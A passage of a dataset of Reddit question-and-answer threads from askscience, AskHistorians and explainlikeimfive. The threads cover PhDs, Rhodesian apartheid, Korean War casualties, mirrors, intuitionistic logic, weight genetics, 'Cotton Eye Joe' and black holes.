unbridled arrogance. ", "Oh, no science is great! All my experiments are working great, we just got fully funded, I made a huge breakthrough that's getting published in Nature, I went home at 3:00 every day this week and...and...and\n\n...\n\nSomeone hold me.", "Europeans give me a surprising amount of respect. Americans pay me more.", " >  I get paid to think.\n\nAbsolutely.  Working w/ a PhD is like sitting in a sandbox *all day long*.  Totally awesome.", "There is simply no substitute for knowing a lot. ", "In response to the poster, I strongly dispute the claim that a PhD gives you the ability to \"always find a job\".  I agree that people with PhDs tend to have higher incomes than the average BS and have an easier time finding a job than the average person, but disagree its because they got a PhD.  Its because they are smart and hardworking.  Look if you can convince a good grad school to accept you to their program, you can probably convince a good employer to hire you.\n\nSome good reasons to get a PhD:\n\n* You enjoy learning and want to be around smart people and do research in this field, don't care about your salary for the next six years.\n* You want to learn specific knowledge that you'll pick up in your PhD dissertation (say doing nanofabrication) that will help you for a specific type of job (say Intel) you want in the future.\n* You've read about all the pitfalls of academia, and still want to shoot for it, and don't mind mostly missing out on your 20s and first half of your 30s.\n\nVery bad reasons to get a PhD:\n\n* You did well in undergrad and think grad school will be more of the same, except maybe a little harder or something.\n* You don't want to apply for jobs or couldn't decide on what types of jobs to apply for.\n* You mistakenly think having doctor in front of your name will give you respect in the real world.\n* You think that getting a generic PhD will somehow help you generically get jobs.\n* You want to be a professor because as an undergrad the only smart person with your type of degree you ever met was a college professor, or mistakenly believe you get paid to think about whatever you want.\n\nGetting a PhD to improve your generic job prospects is sort of like someone who plans on working retail their entire life going back to school to get a second generic liberal arts degree.  By all means do it, if you enjoy learning, but don't expect your salary to magically rise significantly because you know have two college degrees.", "Lasers. I win.", "I found something I am crazy passionate about and I found out how to get people to ***pay me*** to sit around and think about it all day (even though I would probably do it for free if I had to).\n\nJust don't tell my funding agency.", " >  I get paid to *think*.\n\nSo do I.  BA in Math, followed by 20+ years in computer programming.  The PhD isn't a necessary prerequisite of a thoughtful career.", "Aside from the general science (getting to work on something that I care about every day, having freedom to explore new ideas, etc...) I think having a PhD (disclaimer, I don't have a PhD yet. 5 years into my program, hoping to graduate early next year), or at least being a part of the scientific community is an experience in itself.  I know there are some curmudgeons out there, but I have generally found other scientists to be extremely helpful in ways that may not exist in other disciplines.  Several times I have gotten really terribly stuck in my research.  Usually on some technical detail, but occasionally on a complex idea.  When this happens, I tend to read as much as possible, and when I am still stuck, I reach out to some scientist out there in the void who is usually an expert in the area I am having problems with.  And pretty much every time I have done this I have gotten a helpful reply, either offering technical hints, or sending specialized materials just so I could continue on my quest.  All it takes is an email.  \n\nI find this exchange of materials and information very beautiful.  This is what I love about the academic institution.  Established scientists respecting my little project enough to push it along that much further without really knowing much about me, and trusting that I will use their knowledge and materials wisely.  This community aspect is what makes it science to me.  We can't do it all alone.  Other than the research itself which has it's ups and downs, this collaborative aspect is the most unexpected and best experiences of getting my PhD.  \n\n\n"]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/askscience/comments/hcwtq/what_have_you_lost_in_the_pursuit_of_your_phd/"], "answers_urls": [["http://www.reddit.com/r/askscience/comments/hd49v/what_have_you_gained_from_the_pursuit_of_your_phd/"], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3b6c7f", "title": "Rhodesian flag", "selftext": "I find it interesting, given the revisionism that appears everywhere nowadays on the internet, that the Charleston killer identified the Rhodesian flag as representing values akin to his. I grew up in Rhodesia and consider the laws of that state similar to - variations upon - Apartheid laws. To what extent do historians agree/disagree with this? Was Rhodesia an Apartheid state?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3b6c7f/rhodesian_flag/", "answers": {"a_id": ["csjads5", "csjess0"], "score": [3, 13], "text": ["/u/profrhodes is *the* guy to talk to about this on /r/AskHistorians. Hopefully he can show up and help you out here, but at the very least, [this earlier post he wrote](_URL_0_) would be an excellent starting place.", "Thanks to /u/Georgy_K_Zhukov for offering up my earlier (and rather lengthy) post to a similar question, I don't think it's necessary to provide any more examples of the way racial discrimination and segregation worked in Southern Rhodesia before the Liberation War.\n\nHowever, your question about the extent to which historians agree/disagree that Rhodesia was an apartheid state is something I would like to elaborate on. The big question is what do we mean by an apartheid state? Are we to take it literally as the division of society based on skin colour or race? Do we mean the practice of legal and widespread racial discrimination against a racial majority? These are questions which are still debated over today within academic circles and depend a lot on the nature of the research for which they are being utilised.\n\nEssentially though, there are no respected historians working on colonial Zimbabwe who would disagree with the statement that \"Rhodesia was an apartheid state\". There are perhaps a few who would argue that it was a particularly Rhodesian-form of apartheid and I think this was certainly the case. The land divisions in Rhodesia were a smaller version of the bantustans in South Africa, but they were also designed to divide the African population into a rural agricultural family-based majority, and an urban labouring single-male workforce minority. Doris Lessing talks about this frequently in her work, as does Graham Kinloch and Kenneth Good. Dane Kennedy and Josiah Brownell have furthermore emphasised the problems of the transience and relatively small white population, especially compared to South Africa.\n\nAs early as the 1970s, historians and social scientists such as Barry Schutz and Stephen Hintz were emphasising the rise of the pro-white, pro-segregation Rhodesian Front in the early 1960s as having been comparable and certainly related to the popularity of the white nationalists in South Africa, and the evident \"success\" (used loosely for obvious reasons) of the white state's racial segregation in SA. More recently, Peter Godwin and Ian Hancock have explored white Rhodesian society in phenomenal detail (*Rhodesians Never Die*) and laid bare the simple fact that every element of the white Rhodesian society, economy and politics were dependent on racially discriminatory policies comparable to those in apartheid SA. Another fantastic book that explains just how comparable South African and Rhodesian apartheids were, from a legal and social perspective, is W.G. Eaton's *A Chronicle of Modern Sunlight*. There are further academic works, including Donald Moore, Dickson Mungazi and Rory Pilossof, which all address white Rhodesian racial discrimination, or at least highlight it within other narratives. To be honest, there are literally fifty other books, articles, and papers which all emphasise the realities of racial discrimination in Rhodesia and do so in ways which emphasise its comparisons to SA apartheid.\n\nIt should be mentioned that from a historical perspective many of those organisations set up to combat apartheid in SA, also identified and targeted apartheid in Rhodesia as well. The Anti-Apartheid Movement is perhaps the most obvious, but the Africa Bureau, the Movement for Colonial Freedom, the Southern African Freedom Group, Christian Action (and it's offshoot the Detainees' Legal Aid and Welfare Fund) were all active in SA and Southern Rhodesia, and the frequent mention in their founding aims or press statements of \"we are opposed to apartheid in Rhodesia and South Africa\" indicates just this acceptance of SA and Rhodesian racialism as being comparable and deliberately so. (see Harold Soref, *The Puppeteers* for more examples). \n\nThe biggest problem (and one that you rightly raise in your question) is that there is a huge swathe of internet-based \"Rhodies\" who either grew up or lived in Rhodesia during the period of minority rule continue to make public their assertions that white Rhodesia was not as racialist as South Africa. I am a white Zimbabwean, my parents were Rhodesian and I have family still in Zimbabwe, so I know many who still recall fondly their childhoods or time spent in Rhodesia during the 1960s or 1970s and who seem aghast at the suggestion that the state discriminated against the African majority to anything like the extent they did in SA. This is perhaps most evident in the numerous memoirs written by white Rhodesians. Of course there were many who did not actively discriminate against the African majority, but it was impossible to live in Rhodesia and not be implicated in racially discriminatory policies. The reality is that as white members of society they were by definition not subject to the realities of discrimination that the African population were. As David Caute has argued (and whose book *Under the Skin* is perhaps the best read on race in Rhodesia), just because they did not experience racial discrimination does not mean there was no codified or colloquial racial discrimination in the state. The differences between SA and Rhodesia in how racial segregation was practised has also led to the belief that Rhodesian society was less racially divided, simply because they did not practise apartheid in exactly the same way as SA. \n\nIndeed, many black Zimbabweans who lived through the minority rule era argue that there were more chances for economic success in SA as an African than there was in Rhodesia. If you read any of the autobiographies written by prominent Zimbabwean politicians and leaders during the liberation war, including Joshua Nkomo, Maurice Nyagumbo, Abel Muzorewa or George Nyandoro (to name but a few), you will find that early chapters nearly always involve them moving to SA for work, and being surprised at the difference in attitudes towards Africans from the white Rhodesians and the white South Africans (and particularly the almost acceptance of the Afrikaners).  The accounts of their experiences with homelands in SA are also obviously reflected in their accounts of the \"protected villages\" that Rhodesia implemented during the 1970s, in which Africans were forcibly relocated to different areas and overcrowded lands.\n\nFinally (and I promise this is my last point!) Southern Rhodesia was not a rigid, inflexbible thing when it came to apartheid. The mass immigration from Britain in the 1950s did see some liberalisation of racialist policies under Garfield Todd and Edgar Whitehead, although these were quickly and resoundingly suppressed by the rise of the Rhodesian Front. Furthermore, and as I have emphasised elsewhere (see for example [my comments here]( _URL_0_)) there was a difference between how racially discriminatory policies were laid out legally and how they were practised in reality. The significance of local or municipal laws in racial segregation (such as passes, accomodation, drinking laws etc etc) further individualises the experiences of white and African Rhodesians during the period. Those Africans living or working near Bulawayo may have experienced the racialism of the white state differently to those living and working in Melsetter or Gwelo. The rural/urban divide is also important. Many rural Africans would not see a white face for months at a time, and more often than not, had interactions with only one or two whites in their whole lives (usually missionaries or native commissioners). Fundamentally though, and as many white Rhodesians and many historians have recognised, it cannot be denied that the racial discrimination practised in Southern Rhodesia was in many ways similar to that of Southern Africa.\n\nI hope this has helped. If anything I have said is unclear (which it may well be as I am writing this quickly whilst in between flights!) please just ask follow up questions. I think it is a shame that the Rhodesian Flag and Southern Rhodesia has come to light in the news once again in the way and circumstances as it has, but I also think it is important to emphasise the difference between ordinary white Rhodesians (many of whom tacitly supported racially discriminatory policies simply by living and working in the state, but did not consider themselves racists) and those who actively worked against African advancement or majority rule, and went as far as to start a war against the African majority for just that reason. But that is another topic for another time.....\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/2nmc4j/was_rhodesia_as_racist_as_south_africa/cmf8atp"], ["http://www.reddit.com/r/AskHistorians/comments/2nmc4j/was_rhodesia_as_racist_as_south_africa/coibsfr"]]}
{"q_id": "4ygz2a", "title": "Why did 10x as many Chinese die in the Korean War as Americans/U.N. troops?", "selftext": "I was watching a BBC documentary on the topic and it claimed that there were 50 000 American/U.N. casualties and half a million Chinese casualties. I looked it up but found no answers. (I found figures for Chinese deaths ranging from 100 000-500 000)\nWhat I did glean was that the Chinese military was heavily underequipped, even compared to the initial American invasion forces previously stationed in Japan, but were there other reasons? The documentary made it seem as if the Chinese strategy was of a much more potent nature than the Americans expected, yet the Chinese lost many more.\nThank you!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ygz2a/why_did_10x_as_many_chinese_die_in_the_korean_war/", "answers": {"a_id": ["d6nvccw"], "score": [2], "text": ["Part of the answer is the difference in tactical doctrine adopted, U.N. forces favored greater firepower as a means to make up for the effectiveness of Chinese infiltration tactics. The technological superiority of UN forces in both air and artillery meant that the UN could strike Communists forces both on the battlefield but also far behind it as well whereas the Communist forces had no way of retaliating in kind to UN firepower until late 1952. \n\n_URL_0_\n\n(see page 11 of PDF for Korea)_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nj.gov/military/korea/effectiveness.pdf", "http://usacac.army.mil/cac2/cgsc/carl/download/csipubs/doughty.pdf"]]}
{"q_id": "47svle", "title": "Is There a 100% Reflective Surface?", "selftext": "Mirrors don't reflect 100% light. Is there any surface that does?\nI think it'd be impossible for such a thing to exist though. Prove me wrong! (or not)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/47svle/is_there_a_100_reflective_surface/", "answers": {"a_id": ["d0fhpv3", "d0floli", "d0fmdrh", "d0fqjzu", "d0fu8a7"], "score": [207, 34, 2, 3, 7], "text": ["It is of course impossible to get 100%, but you can get pretty good.  There are superconducting microwave cavities that are used in particle accelerators and/or quantum experiments with quality factors approaching the billions.  Basically two mirrors facing each other; inject a photon and it bounces off each mirror hundreds of millions of times before it is likely to be absorbed (or scattered).  I don't have as much experience with optical cavities but the same principle applies.", "Such a thing does exist, but not quite how you probably expect.\n\nAccording to Snell's law, when light passes from a \"heavy\" medium (one through which light travels relatively slowly) to a \"lighter\" medium (through which light travels faster), the light will be bent away from the normal to the surface.  At sufficiently large angle of incidence (think glancing blow), the light can't bend enough, so none of it goes through - all of it is reflected.  You can see this in action on the wiki page:\n\n_URL_0_\n\nSuch surfaces are all around - the inside of a fish tank is a great example.  Of course, this 100% reflectivity only works at certain angles.", "I'm probably abusing the definition of \"reflection\", but is there such a thing as a gravitational mirror that deflects light to the point it is reflected back.   Perhaps if light hit near the event horizon of a black hole at just the right angle it orbit around and exit right back at you?", "There are some very highly reflective surfaces for certain wavelengths of light. But they look nothing like mirrors, more like matte white surfaces. These are used to calibrate remote sensing equipment like satellites.", "There actually is such a thing! It's called a perfect mirror. It seems impossible, and I thought it was impossible just a couple days ago. My friend and I had an argument on this subject, but turns out [MIT created a perfect mirror.](_URL_0_)\n\n\nIt's crazy to think about, but it's a thing. \n\n\nSo yes! Perfect mirrors are possible.\n\nEdit: I guess it isn't entirely true. Thank you /u/awesomattia"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Total_internal_reflection"], [], [], ["http://www.nytimes.com/1998/12/15/science/mit-scientists-turn-simple-idea-into-perfect-mirror.html?pagewanted=all"]]}
{"q_id": "6j7bhr", "title": "Please, explain Intuitionistic logic. If not True is False, and not False is True, but not not a is not nessesarily a, then what else can it possibly be?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6j7bhr/please_explain_intuitionistic_logic_if_not_true/", "answers": {"a_id": ["djcgena", "djfow2o", "djno37b"], "score": [6, 2, 2], "text": ["Intuitionist logic is primarily a framework for constructive mathematics. The idea is to avoid non-constructive proofs, e.g. a proof that establishes \"there exists an object with property P\" but does not provide any way to actually identify such an object. \n\nFormal logic is a set of syntax rules describing which statements are proved from other statements. Every rule must be explicitly stated. Double negation elimination (\"not not A\" proves \"A\") is one of them, another is the law of excluded middle (\"A or not A\" is true). These two in particular tend to lead to non-constructive proofs when used. \n\nBy removing these rules, mathematicians using intuitionist logic are simply exploring what can be proved without them. \n\nEDIT: To answer your question directly, the statement \"not not A\" can be true in intuitionist logic. It is just treated as distinct from saying \"A\" is true. \"Not not A\" is its own thing. \n\nThat is as far as mathematics goes. If you want to talk about whether statements about non-mathematical objects obey double negation elimination, or about what it means for \"not not A\" and \"A\" to be non-equivalent, then that is more in the area of philosophy. It is a very interesting discussion, but I don't know enough to say anything authoritatively. ", "In classical logic, you can prove that not (not a) is equivalent to a by splitting the proof into two cases: either a is true or it is false. If it is true, then not (not a) = a. If it is false, then not (not a) = a. Therefore, not (not a) = a for any a.\n\nThis proof uses law of excluded middle (\"either a is true or a is false\"). In isolationistic logic, this principle is not assumed. (The negation of this principle is not assumed, either)\n\nEvery intuitionistic proof is a classical proof - it's just a proof that doesn't use excluded middle. It is harder to prove things this way, but, in return, you can extract constructions from proofs. For example, an intuitionistic proof that \"exists A such that f(A)\" must show an explicit A, while a classical proof might just show that nonexistence of A leads to contradiction, without giving any idea how the A satisfying f(A) looks like. Consider the statement that the set of primes is infinite - \"for every m, there is n such that n > m and n is prime\". This corresponds to a computer program that takes m and returns n such that n is prime and n > m. This is why law of excluded middle is not allowed as an axiom - it does not say which of the two options (A is true or A is false) holds. You can prove intuitionistically that every two natural numbers n,m are either equal or different (there's an algorithm for that); but you cannot prove that every Turing machine halts or not (halting problem is undecidable).\n\nFor more, take a look at \"Five stages of accepting constructive mathematics\" by Andrej Bauer.", "Intuitionist logic is not saying that not (not A)  < =/= >  A. Rather, it's saying that it doesn't care whether A or not A.\n\nIn intuitionist logic, you're not interested in what's true and what's false, you're interested in what you can construct. Consider the question of whether a certain object exists. In standard logic, you can prove that an object exists by building that object, but you can also prove that it exists indirectly, by proving it's not true that it doesn't exist. However, in intuitionist logic, we're only interested in proofs which tell us not only that the object exists, but also how to get it.\n\nFor example, in standard logic, you can prove that there is a digit which shows up an infinite number of times in the decimals of Pi. It's very easy : suppose there isn't such a digit. Then all ten digits show up a finite number of times, so there are only a finite number of digits, and that's not the case. Therefore such a digit exists. In Intuitionist logic, however, you want to actually find that digit. Until you've found a proof which lets you say \"7 shows up an infinite number of times\", you haven't proved the existence of such a digit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "16zx25", "title": "Are there major genetic differences in the way different people gain and lose weight (fat or muscle)?", "selftext": "We've all heard about the fat guy who tries so hard to lose weight, but can't, as well as the skinny girl who stuffs her face but never gains a pound.\n\nIs there any truth to the genetics argument, or is it all in the appetite and general unreported habits in these people? In other words, if you took several sample populations (each of a different body type: Obese, skinny, muscular, etc.) and fed them EXACTLY the same diet and made them do the EXACT same workout (in terms of calories burned) a day, would there be a difference within the populations of how they gained/lost weight, assuming no diseases?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16zx25/are_there_major_genetic_differences_in_the_way/", "answers": {"a_id": ["c80yqya", "c81eu51"], "score": [11, 3], "text": ["Yes, one of the most significant factors is *how* your body stores fat. People who have a predisposition to storing more subcutaneous fat, which is the 'soft' fat that is directly under the skin, will gain weight easier and will also find it harder to drop. The other type of fat, visceral fat, is stored more closely to your organs, and the body type that is predisposed to gaining this type of fat will generally find it easier to lose it because visceral fat is more responsive to diet and exercise.\n\nI can't give you a more detailed explanation that involves insulin, metabolism, etc so i'll let an expert take over from here.", "A number of factors influence the metabolic rate, metabolic health and feeding habits of individuals.  Many of these are genetic, either due to subtle differences in the genetic code of certain genes between individuals (eg, the FTO gene, or the leptin receptor), or differences in the expression of genes related to metabolism, such as increased expression of genes involved in preferentially storing fat (eg, SREBP1c, fatty acid synthase, PPAR-gamma an PPAR-alpha) or decreased expression of genes needed for fat oxidation (\"burning\"), such as CPT1.  These differentially expressed genes do not have to be encoded differently between individuals; epigenetic mechanisms, either inherited or induced early in life can influence metabolic function\n\nSources:\n\n_URL_2_\n_URL_0_\n_URL_3_\n\nNice intro from nature on the epigenetics of obesity:\n\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://onlinelibrary.wiley.com/doi/10.1002/jcp.24054/full", "http://www.nature.com/scitable/topicpage/obesity-epigenetics-and-gene-regulation-927", "http://www.wormbook.org/chapters/www_obesity/obesity.html", "http://en.wikipedia.org/wiki/Genetics_of_obesity"]]}
{"q_id": "723atm", "title": "Where did \"Cotton Eye Joe\" come from, and who or what is he?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/723atm/where_did_cotton_eye_joe_come_from_and_who_or/", "answers": {"a_id": ["dnfkq6h"], "score": [551], "text": ["A paper presented by Holly Everett at the International Association for the Study of Popular Music conference in Montreal in 2003 analysed the history of 'Cotton Eye Joe' in detail, and this post is largely going off [her excellent work here](_URL_1_). \n\nEverett argues that the song goes back at least to the mid-19th century. The song is certainly mentioned several times in literature before it gets the chance to be recorded. The first mention of the song might be in [an 1882 novel by Louise Clarke Pyrnelle](_URL_3_), which was inspired by her pre-Civil War plantation childhood in Alabama (she was born in 1850, and white). At one point in the novel she relays the lyrics that the slaves sing while one slave called 'Old Sambo' plays fiddle:\n\n >  Cotton-eyed Joe, Cotton-eyed Joe\n\n >  What did make you sarve me so\n\n >  Fur ter take my gal erway fum me\n\n >  An' cyar he plum ter Tennessee?\n\n >  Ef it hadn't ben fur Cotton-eyed Joe\n\n >  I'd er been married long ergo\n\n >  HIs eyes wuz crossed, an' his nose wuz flat,\n\n >  An' his teef wuz out, but wat uv dat?\n\n >  Fur he wuz tall, an' he wuz slim\n\n >  An so my gal she follered him\n\n >  Ef it hadn't ben fur Cotton-eyed Joe\n\n >  I'd er ben married long ergo.\n\nDorothy Scarborough, a white Texan, relays a similar version in her 1925 book *On The Trail Of Negro Folk Songs*. Scarborough's published version is an amalgam of different versions from Texas, Louisiana and one sent to her by someone with a pen name; one suspects it's not impossible that Pyrnelle's published version influenced her. Nonetheless, Scarborough said of the song that:\n\n > A less comely person of a different sex is celebrated or anathematized in another song [i.e., Cotton Eyed Joe], which seems to be fairly well known in the South, as parts of it have been sent in by various persons. According to the testimony of several people who remember events before the [Civil] war, this is an authentic slavery-time song. The air and some of the words were given to me by my sister, Mrs. George Scarborough, as learned from the Negroes on a plantation in Texas, and other parts by an old man in Louisiana, who sang it to the same tune. He said he had known it from his earliest childhood and had heard the slaves sing it on plantations. A version was also sent by a writer whose pen name is Virginia Stait.\n\nAccording to Scarborough, Cotton-Eye Joe is a hoodoo man who travels with a travelling medicine show:\n\n >  Dat gal, she sho' had all my love, \n\n >  An' swore fum me she'd never move, \n\n >  But Joe hoodooed her, don't you see, \n\n >  An' she run off wid him to Tennessee. \n\n >  I'd 'a' been married forty year ago \n\n >  Ef it had n't a-been for Cotton-eyed Joe!\n\nA 1922 book by an African-American chemistry professor named Thomas Talley, called *Negro Folk Rhymes*, tried to collect the lyrics of his Shelbyville, Tennessee childhood, and his version of 'Cotton Eyed Joe' is a little different to Pyrnelle's and Scarborough's, but identifiably the same song - notably, the Tennessean Talley doesn't mention the line about Cotton Eyed Joe moving to Tennessee: \n\n >  Oh, it makes dem ladies love me so,\n\n >  W'en I comes 'roun' pickin' ole Cotton Eyed Joe.\n\n >  Yes, I'd a been married some forty years ago, \n\n >  If I hadn' stay's home wid Cotton Eyed Joe.\n\nThe first extant recordings of the song were recorded very soon after record companies realised that rural folk music could make money (and after it became possible to record relatively quiet music using electrical recording). The [Dykes Magic City Trio appear to have been the first to record it in 1927](_URL_4_), while there were 5 other recordings of the song in the next couple of years - suggesting that at this point it was a very popular song amongst rural folk musicians.\n\nEverett identifies there being three variant versions of the song. Remember, of course, that before the advent of recording, and before anybody had any interest whatsoever in commercially marketing folk tunes, that folk songs circulated when one person taught it or even just played it to another; often the folk musicians doing this were illiterate. As a result, folk tunes often have variant versions which have diverged from each other in important ways, and the places where those variant versions are found, and the degrees of variation can give some clues as to the ways that the songs have been altered to suit different situations and purposes, and perhaps the origins of the songs. \n\nEverett argues that there are southeastern, southwestern and Acadian versions of Cotton Eyed Joe. The Southeastern versions of the song, such as that by the Dykes Magic City Trio, are the first to be recorded. However, the more famous versions are Southwestern versions, such as the [1940s version by Bob Wills and His Texas Playboys](_URL_0_); it's the Southwestern version that the version by the 1990s Swedish dance act Rednex derives from. Finally, there's a Canadian variant of the song, [associated with Don Messner](_URL_2_), which is usually an instrumental fiddle tune in the Acadian style; this version seems to have spread to northern American states like North Dakota.\n\nEverett argues that the southeastern version is likely the original - it certainly feels less garbled than the southwestern version of Bob Wills, which is much more nonsensical - e.g., \"I fell down and stubbed my toe, send for the doctor, Cotton-Eyed Joe\". \n\nAnyway, Rednex's 1995 version is very clearly a sort of kitschy parody of country dance music set to modern electronic beats; the group have stereotypically Southern American clothing and indeed indeed stereotypical names like 'Mary Jo' and 'Billy Ray'. In a funny way, Rednex's kitsch *does* get across what was one of the main purposes of the song in the 19th century and early 20th century would have been: it was likely a common minstrel song (though I can't find specific primary evidence of this). Nonetheless, it's very likely indeed that, if an African-American folk song was spread throughout the South of the USA widely enough to basically be a rural standard amongst white people, that it was spread by minstrel shows - minstrel shows were a dominant form of entertainment in America (and Australia for that matter) for almost a century.\n\nExcept that where Rednex is Swedish people making fun of the white American South based on what are probably offensive stereotypes, 'Cotton-Eyed Joe' as a minstrel song was the white American South making fun of the black American South based on what are definitely offensive stereotypes. Additionally, it may or may not be a coincidence that Pyrnelle's 'Old Sambo' also happens to be the name of a minstrelsy stereotype - I wouldn't be surprised if Pyrnelle knew the song through a more recent minstrel show rather than her childhood. There's perhaps some bitter irony there.\n\nSo, 'Cotton Eye Joe' probably came from the South-East of the USA. He possibly may have, more specifically, come from and gone to Tennessee. Or maybe Tennessee is just a good place to rhyme the line 'don't you see' with? He might have had untreated eye conditions like cataracts that made his eyes appear whiter than usual (white being the colour of cotton, and eye conditions that are now reversible being endemic in poor rural areas). Or maybe he just had the kind of pale eyes that the ladies get lost in. He may have been someone who sold potions in a travelling show, or - I know it's not much - but given the times and the probably African-American identity of the guy, it's also very possible he was a slave. The Bob Wills version mentions how 'Daddy worked a man called Cotton-Eyed Joe'. The Thomas Talley book relates myths that Cotton-Eyed Joe was a famous slave musician who had to bury his own son, but I don't see any corroborating evidence for that.\n\nBut all of this, of course, is if the origin of the song was based on a real life person - and of course, Everett's article points out that there's no one author of the tune here (whose intentions we have access to, anyway). By the time you get to Dorothy Scarborough or Bob Wills, if there was an original meaning to the song, it was long lost. Perhaps the original Cotton-Eyed Joe doesn't matter so much as the idea of Cotton-Eyed Joe."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=363Nlp3w050", "http://www.iaspm.net/archive/IASPM03sm.pdf", "https://www.youtube.com/watch?v=PSjdVC8uiaY", "https://books.google.com.au/books?id=1HNHHIv7BOAC&amp;pg=PT104&amp;lpg=PT104&amp;dq=pyrnelle+cotton+eye+joe&amp;source=bl&amp;ots=VFCF0BsHHW&amp;sig=W077Pgs4oS1DeRTgQlcvo2Jucdg&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwic_ePC073WAhXMebwKHXvFBxUQ6AEIUTAG#v=onepage&amp;q=pyrnelle%20cotton%20eye%20joe&amp;f=false", "https://www.youtube.com/watch?v=nsVvJxHZKtg"]]}
{"q_id": "2yf2qy", "title": "this quote by neil degrasse tyson: \"if you fall into a black hole, you'll see the entire future of the universe unfold in front of you in a matter of moments.\"", "selftext": "How do we know this? Is this just speculation or do we have solid evidence of this?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2yf2qy/eli5_this_quote_by_neil_degrasse_tyson_if_you/", "answers": {"a_id": ["cp8wy0o", "cp907mm", "cp917o6", "cp92kq7", "cp92nz1", "cp94enx", "cp94pv7", "cp950cd", "cp966u8", "cp98qry", "cp9aaoh", "cp9akjx", "cp9aun5", "cp9cgt3", "cp9cid0", "cp9d1rf", "cp9dh0o", "cp9doql", "cp9e78q", "cp9gwfq", "cp9nefv"], "score": [562, 52, 34, 4, 7, 82, 3, 222, 2, 2, 2, 7, 2, 2, 2, 5, 3, 3, 2, 3, 2], "text": ["Because, in high gravitational fields, time slows down. This is a fact that we can observe by comparing clocks on Earth to clocks in space. We can calculate that a second near a black hole is a lot longer than a second outside a black hole. As you approach the event horizon, the relative difference between passage of time approaches infinity. From the universe's perspective, something falling into a Black Hole \"freezes\". From the thing's perspective, the rest of the universe speeds up. \n\nedit: thanks /u/NeedsMoreShawarma ", "He also said we'd died the most horrifying death.", "There are more grains of sand on the sun than universes in the solar system.", "Follow up questions, then why do things still fall into a Black Hole? Why aren't they just building up at the event horizon? Wouldn't the Universe end before we get sucked in?", "It isn't true: _URL_0_\ndoes a good job of explaining the misconception here.\n\nAn external observer never sees you fall through the event horizon but it happens in a finite proper time for you.", "Neil degrasse is wrong.\n\nObjects falling into the black hole reach the singularity in a finite time from their perspective. They don't see infinite time during the fall. You might argue that at the singularity time stops, but it is a singularity so we don't know what happens there.\n\nMoreover black holes evaporate in finite time. So inside the black hole you cannot see events that happen after the black hole disappears.\n\nNeil degrasse is confused as many people are by the fact that an external observer perceives that time seems to stop at the event horizon. \n\n1. Time is how we structure causality, before and after. Things inside the black hole cannot affect events outside, so there is no causal relationship between the inside and the outside and thus no before and after from inside to outside.\n\n2. What we perceive is what we see, and is mediated by photons traveling back. They can be delayed or distorted. A recent article talked about a supernova in a distant galaxy that could be observed multiple timed because of gravitational lensing. But it didn't happen multiple times, it happened once, we were just watching reruns. Another analogy is that when you send postcards from a vacation trip they are often delivered after you return. The postcards are like the photons, delayed by the strong gravity field of the black hole. They aren't reality.", "Im not sure if Id be horrified or fascinated by falling into a black hole.", "The quote is a little misleading. For simplicity sake I will assume a non-rotating black-hole.  Your personal clock will slow significantly compared to an outside observer as you approach a black hole. With an idealised telescope you could witness the evolution of civilisations, stars, and even galaxies while in the vicinity of the event horizon. \n\nHowever the lorentz transformation still applies, simply put, the number of events you can observe is still very limited, even more so as your light-cone [a bit like a personal timeline] is tilted towards the singularity. The absolute limit to what you observe will be defined by the area encompassed by your light-cone, and that area won't encompass all future events in the universe. \n\nSo the quote is not entirely correct, you won't see the *entire* universe unfold. You will get an opportunity to see a lot more of the universes events than an outside observer would in their lifetime. \n\nEDIT:\n\nFor rotating black holes Kerr's solution for Einstein's field equations suggest that it is possible to exit the black hole before encountering the singularity. If Kerr's solution is correct then a Kerr black hole will allow you to time travel. You still wouldn't be able to see all entire universe unfold but it does give you the opportunity to see events that were previously unreachable in your light-cone.", "[**Neil Tyson is wrong**](_URL_0_)! You don't see the entire future of the universe when crossing the event horizon.\n\n[**Here's a detailed visualization and explanation of what it's like to fall into a black hole.**](_URL_1_)", "There is no end to the future so how are we supposed to see it in it's entirety?", "No one mentions the fact that you would be incinerated long before reaching the event horizon ? Seems funny that the Neil deGrasse Tyson wouldn't have thought of that before saying the above quote.", "So this means if I could get rid of gravity in my bedroom, I could sleep in each morning for an extra 30 minutes?", "It's because time slows down because of the  infinite mass of the black hole. So everything around you will seem to speed up when it is really you that has stopped in time. Because time is directly related to mass. So a minute for you inside a black hole would be a lot longer of a time to people outside of the black holes event horizon", "I always thought that falling into a black hole would be a terrible fate. It turns out it would be pretty awesome!", "You really wouldn't see it. Light and all other information also slows down ", "Wouldn't you get spaghettified before all that? ", "Keep in mind that science communicators like to simplify things and may also make bold statements to get the everyday person interested. Also you would gravitational forces would kill you far before anything like that happens.\n", "Why have we not experimentally sent somebody into a black hole yet? ", "Every time I read something like this I am left with the same questions:\n1. If it takes forever to fall into a black hole, how does the black hole grow? \n2. Does that mean that everything the black hole will ever consume exists in the accretion disk and event horizon?", "You would die much much sooner. You don't get as far as event horizon, sorry.", "Before or after you die?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://math.ucr.edu/home/baez/physics/Relativity/BlackHoles/fall_in.html"], [], [], [], ["http://www.phys.vt.edu/~jhs/faq/blackholes.html#q11", "http://jila.colorado.edu/~ajsh/insidebh/schw.html"], [], [], [], [], [], [], [], [], [], [], [], []]}
